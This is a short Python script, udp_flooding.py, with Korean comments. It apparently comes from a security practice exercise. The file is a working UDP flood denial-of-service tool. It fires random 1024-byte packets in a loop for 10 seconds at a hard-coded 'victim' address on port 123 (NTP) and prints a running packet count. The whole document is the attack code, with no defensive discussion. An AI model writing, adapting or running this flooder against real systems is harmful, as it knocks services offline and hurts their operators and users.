udp_flooding.py 688 Bytes
import time
import socket
import random
import sys 

VICTIM_SERVER_IP="192.168.219.102"
PORT_NUMBER = 123 # UDP방식 중 하나인 NTP서비스

duration = 10 # 공격지속시간 10초

client=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes=random._urandom(1024) # 무작위 패킷내용 생성을 위한 난수
timeout = time.time() + duration # duration 초과 여부 확인용

sent = 0 

while True:
    if time.time() > timeout:
        break
    else:
        pass
    client.sendto(bytes, (VICTIM_SERVER_IP, PORT_NUMBER))
    sent = sent + 1 
    print("UDP Flooding Attack Start: " + str(sent) + " sent packets " + VICTIM_SERVER_IP + " At the port " + str(PORT_NUMBER))